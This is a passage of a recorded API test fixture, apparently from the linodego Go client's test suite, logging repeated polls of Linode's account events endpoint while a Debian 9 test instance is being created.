"go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "545" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, "duration": 13.161615, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, "duration": 13.254153, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, "duration": 13.319625, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, "duration": 13.37625, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, "duration": 13.442266, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, "duration": 13.505675, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, "duration": 13.565125, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, "duration": 13.645027, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, "duration": 13.71281, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, "duration": 13.781672, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, "duration": 13.849213, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, "duration": 13.933392, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 14.005458, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 14.065748, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 14.126568, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 14.185147, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 14.258659, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, 